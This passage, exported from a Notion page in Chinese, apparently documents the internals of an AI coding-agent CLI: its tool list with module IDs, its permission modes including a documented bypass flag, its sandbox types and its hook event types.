data-id="31d0f0c5b87c8091bc46eb2734872787"><span><div id="31d0f0c5b87c8091bc46eb2734872787" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8091bc46eb2734872787" title="6.1.4 执行工具"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1.4 执行工具</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80afad01c8fac6d3615e"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c811da1f8e41c933eb269"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块ID</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">并发安全</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能描述</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c812e8862d4e5d93abd6b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Bash</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">(条件)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">写入</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✗</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">执行 shell 命令</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8116b743eeaeb46b5064"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>PowerShell</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">(条件)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">写入</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✗</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">执行 PowerShell 命令</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80448810c335c7a86d60" data-id="31d0f0c5b87c80448810c335c7a86d60"><span><div id="31d0f0c5b87c80448810c335c7a86d60" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80448810c335c7a86d60" title="6.1.5 交互工具"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1.5 交互工具</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c8028b295f371d7e3602c"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81788d53c9f4d82bf8db"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块ID</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能描述</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81ac8428cbcabc73f4e6"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>AskUserQuestion</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2782.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">交互</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">向用户提问/确认</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c810a85faf3a569c7587e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>EnterPlanMode</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">(内置)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">交互</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">进入计划模式</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c800e823cd76833072ba2" data-id="31d0f0c5b87c800e823cd76833072ba2"><span><div id="31d0f0c5b87c800e823cd76833072ba2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c800e823cd76833072ba2" title="6.1.6 代理工具"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1.6 代理工具</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80868461ffee48be49b3"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c8189877dea2b099ce47c"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块ID</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能描述</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8171973cf3ca60ff8f0d"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Task</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3603.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">启动子代理执行复杂任务</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80d28f98df4a41872ead" data-id="31d0f0c5b87c80d28f98df4a41872ead"><span><div id="31d0f0c5b87c80d28f98df4a41872ead" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80d28f98df4a41872ead" title="6.1.7 任务管理工具"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1.7 任务管理工具</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c8053b47bc69966428bb3"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c8127a177f64785d9b8c4"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块ID</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能描述</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81ef99eef6fc2e532a5e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TaskCreate</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2548.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">创建新任务</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e8bdbfec73a2bcc499"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TaskUpdate</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2548.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">更新任务状态</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81aca734efb4ecaf5385"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TaskGet</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2783.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">获取任务详情</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e38db5d8a3f05303ae"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TaskList</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2783.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">列出所有任务</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c817aa9f4ef70f94b6efe"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TaskStop</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">0955.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">停止任务执行</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e6b72bf2528f5dc80e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TaskOutput</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">0955.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">读取后台任务输出</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80ae8845d6b3da49b197" data-id="31d0f0c5b87c80ae8845d6b3da49b197"><span><div id="31d0f0c5b87c80ae8845d6b3da49b197" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80ae8845d6b3da49b197" title="6.1.8 MCP 工具"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1.8 MCP 工具</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80ddb96cf11ca57c27d4"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c810ba6b3d042df71a103"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块ID</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能描述</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81868463c97544799cc9"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>ListMcpResourcesTool</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3727.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">列出 MCP 资源</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8160b993cd923a8aec1a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>ReadMcpResourceTool</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3731.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">读取 MCP 资源</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e58e67db920d8c6062"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TodoWrite</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2410.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">管理任务清单</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80e3beb0fe46f337b344" data-id="31d0f0c5b87c80e3beb0fe46f337b344"><span><div id="31d0f0c5b87c80e3beb0fe46f337b344" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80e3beb0fe46f337b344" title="6.2 工具定义接口"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.2 工具定义接口</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8032888efc7d304d1f9e" data-id="31d0f0c5b87c8032888efc7d304d1f9e"><span><div id="31d0f0c5b87c8032888efc7d304d1f9e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8032888efc7d304d1f9e" title="6.3 工具执行流程"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.3 工具执行流程</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80d7a5c9eba89b98235f" data-id="31d0f0c5b87c80d7a5c9eba89b98235f"><span><div id="31d0f0c5b87c80d7a5c9eba89b98235f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80d7a5c9eba89b98235f" title="6.4 工具执行管理器"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.4 工具执行管理器</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c80a38630c31e456d32db"><b>位置</b>: 3768.js - <code class="notion-inline-code">Da6</code> 类</div><hr class="notion-hr notion-block-31d0f0c5b87c8055976ed9484b73b711"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c800e8f48cae3ee09364d" data-id="31d0f0c5b87c800e8f48cae3ee09364d"><span><div id="31d0f0c5b87c800e8f48cae3ee09364d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c800e8f48cae3ee09364d" title="7. 权限和安全模型"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">7. 权限和安全模型</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c801497e2d8f9b7f03c9f" data-id="31d0f0c5b87c801497e2d8f9b7f03c9f"><span><div id="31d0f0c5b87c801497e2d8f9b7f03c9f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c801497e2d8f9b7f03c9f" title="7.1 三层权限规则系统"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">7.1 三层权限规则系统</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80179affc17a1bfb318a" data-id="31d0f0c5b87c80179affc17a1bfb318a"><span><div id="31d0f0c5b87c80179affc17a1bfb318a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80179affc17a1bfb318a" title="7.2 权限决策流程"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">7.2 权限决策流程</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c807f9702fe9a3560e39e" data-id="31d0f0c5b87c807f9702fe9a3560e39e"><span><div id="31d0f0c5b87c807f9702fe9a3560e39e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c807f9702fe9a3560e39e" title="7.3 权限模式详解"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">7.3 权限模式详解</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80c3a6f9fb902a3329c0"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81468457ded64aec5a1b"><td class="" style="width:120px"><div class="notion-simple-table-cell">模式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">触发方式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">行为</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c812ab928cf01a6e48256"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>default</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">默认</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">标准行为，危险操作需确认</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8105b6c9d5e2bc7d9083"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>plan</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">进入计划模式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">不执行实际工具，仅返回计划</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81db8394f0523b5c9fc1"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>acceptEdits</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">-a</code> 或配置</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自动接受文件编辑</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8121ab75d685f72d8307"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>dontAsk</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">配置</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">不提示，用预配置规则</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c812185e3c287cdee5b23"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>bypassPermissions</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">--dangerously-skip-permissions</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">绕过所有权限检查</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80ceaf41c5acb1284997" data-id="31d0f0c5b87c80ceaf41c5acb1284997"><span><div id="31d0f0c5b87c80ceaf41c5acb1284997" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80ceaf41c5acb1284997" title="7.4 危险操作检测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">7.4 危险操作检测</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80df85a6dec12fe6d7e8" data-id="31d0f0c5b87c80df85a6dec12fe6d7e8"><span><div id="31d0f0c5b87c80df85a6dec12fe6d7e8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80df85a6dec12fe6d7e8" title="7.5 沙箱机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">7.5 沙箱机制</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c803a864dd49a83cc4d9e"><b>沙箱类型</b>:
1. <b>工作目录沙箱</b> - 限制文件访问到项目目录
2. <b>命令沙箱</b> - 限制可执行的 shell 命令
3. <b>权限沙箱</b> - 基于权限规则的执行控制</div><div class="notion-text notion-block-31d0f0c5b87c80a69abae752356e46fb"><b>禁止访问的路径</b>:</div><hr class="notion-hr notion-block-31d0f0c5b87c801eac70dcd66f719de5"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80959c90c3e3b3a58c42" data-id="31d0f0c5b87c80959c90c3e3b3a58c42"><span><div id="31d0f0c5b87c80959c90c3e3b3a58c42" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80959c90c3e3b3a58c42" title="8. Hook系统"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">8. Hook系统</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8020b5dbdebf039f520d" data-id="31d0f0c5b87c8020b5dbdebf039f520d"><span><div id="31d0f0c5b87c8020b5dbdebf039f520d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8020b5dbdebf039f520d" title="8.1 Hook 事件类型"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">8.1 Hook 事件类型</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80c98bdbd2dc8160c1a6"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c811b8862cdd8d472136f"><td class="" style="width:120px"><div class="notion-simple-table-cell">事件名称</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">触发时机</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">用途</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c813ca5e0e3e825fe20b0"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>PreToolUse</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具执行前</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">验证、修改输入、拦截</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e095c5d29a90cff940"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>PostToolUse</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具成功执行后</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">处理结果、日志、后续动作</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8158bc7eee0b630416d3"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>PostToolUseFailure</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具执行失败后</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">错误处理、清理</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c818a9dfbdb7bcb71b198"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>SessionStart</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">会话开始</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">初始化资源</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81b5a220c20a6bd99ed5"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Stop</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">停止事件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">清理资源</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81f98f20d0b5d22cf0fe"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>PermissionRequest</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">权限请求</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自定义权限处理</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c815f969cd579e2653354"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>ConfigChange</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">配置变更</div></td><td class="" style="width:120px"><div 